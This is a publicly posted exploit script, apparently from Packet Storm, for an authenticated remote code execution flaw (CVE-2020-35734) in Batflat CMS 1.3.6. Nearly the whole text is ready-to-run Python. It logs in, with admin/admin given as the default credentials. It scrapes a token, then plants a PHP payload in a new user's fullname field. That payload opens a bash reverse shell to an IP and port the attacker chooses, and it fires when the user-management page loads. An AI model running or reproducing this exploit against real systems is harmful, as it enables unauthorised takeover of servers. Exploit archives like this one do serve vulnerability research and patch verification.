Exploit for Batflat CMS 1.3.6 Remote Code Execution CVE-2020-35734

## https://sploitus.com/exploit?id=PACKETSTORM:161457
# Exploit Title: Batflat CMS 1.3.6 - Remote Code Execution (Authenticated)  
# Date: 2020-12-27  
# Exploit Author: mari0x00  
# Vendor Homepage: https://batflat.org/  
# Software Link: https://github.com/sruupl/batflat/archive/master.zip  
# Description: https://secator.pl/index.php/2021/02/15/batflat-v-1-3-6-authenticated-remote-code-execution-public-disclosure/  
# Version: <= 1.3.6  
# CVE: CVE-2020-35734  
  
#!/usr/bin/python3  
  
import requests  
import sys  
import re  
from bs4 import BeautifulSoup  
from termcolor import colored  
from time import sleep  
  
print(colored('''###########################################################''',"red"))  
print(colored('''####### Batflat authenticated RCE by mari0x00 #######''',"red"))  
print(colored('''###########################################################''',"red"))  
print("")  
  
if len(sys.argv) != 6:  
print((colored("[~] Usage : python3 batpwnd.py <url> <username> <password> <IP> <PORT>","red")))  
print((colored("[~] Default credentials: admin/admin","red")))  
print((colored("[~] Example: python3 batpwnd.py http://192.168.101.105/ admin admin 192.168.101.101 4444","red")))  
exit()  
url = sys.argv[1]  
username = sys.argv[2]  
password = sys.argv[3]  
IP = sys.argv[4]  
PORT = sys.argv[5]  
  
  
#Start session  
s = requests.Session()  
headers = {'User-Agent': 'Mozilla/5.0 (X11; Linux x86_64; rv:78.0) Gecko/20100101 Firefox/78.0'}  
  
  
#Authenticate  
print((colored("[+] Attempting user login","blue")))  
  
login_data = {  
"username": username,  
"password": password,  
"login": "",  
}  
  
login = s.post(url+"admin/", login_data, headers=headers)  
sleep(0.5)  
  
#Get token  
print((colored("[+] Retrieving the token","blue")))  
r = s.get(url+"admin/", headers=headers).content  
soup = BeautifulSoup(r, "lxml")  
token = (re.search(r't=(.*?)">Add', str(soup)).group(1))  
print((colored("[+] Token ID: " + token,"blue")))  
sleep(0.5)  
  
#Get URL  
print((colored("[+] Getting the add-user endpoint URL","blue")))  
r = s.get(url+"admin/users/add?t="+token, headers=headers).content  
soup = BeautifulSoup(r, "lxml")  
add_user_url = (re.search(r'action="(.*?)"', str(soup)).group(1))  
sleep(0.5)  
  
#Exploit  
print((colored("[+] Adding pwnd user","blue")))  
payload = "<?php system(\"/bin/bash -c 'bash -i >& /dev/tcp/" + IP + "/" + PORT + " 0>&1'\");?>"  
  
add_user = {  
"username": (None, "pwnd"),  
"fullname": (None, payload),  
"description": (None, "pwnd"),  
"email": (None, "pwnd@evil.com"),  
"password": (None, "pwnd123"),  
"access[]": (None, "users"),  
"save": (None, "Save")  
}  
  
exploit = s.post(add_user_url, headers=headers, files=add_user)  
sleep(0.5)  
  
#Triggering reverse shell  
print("")  
print((colored("[+] Triggering the shell. Go nuts!","green")))  
r = s.get(url+"admin/users/manage?t="+token, headers=headers)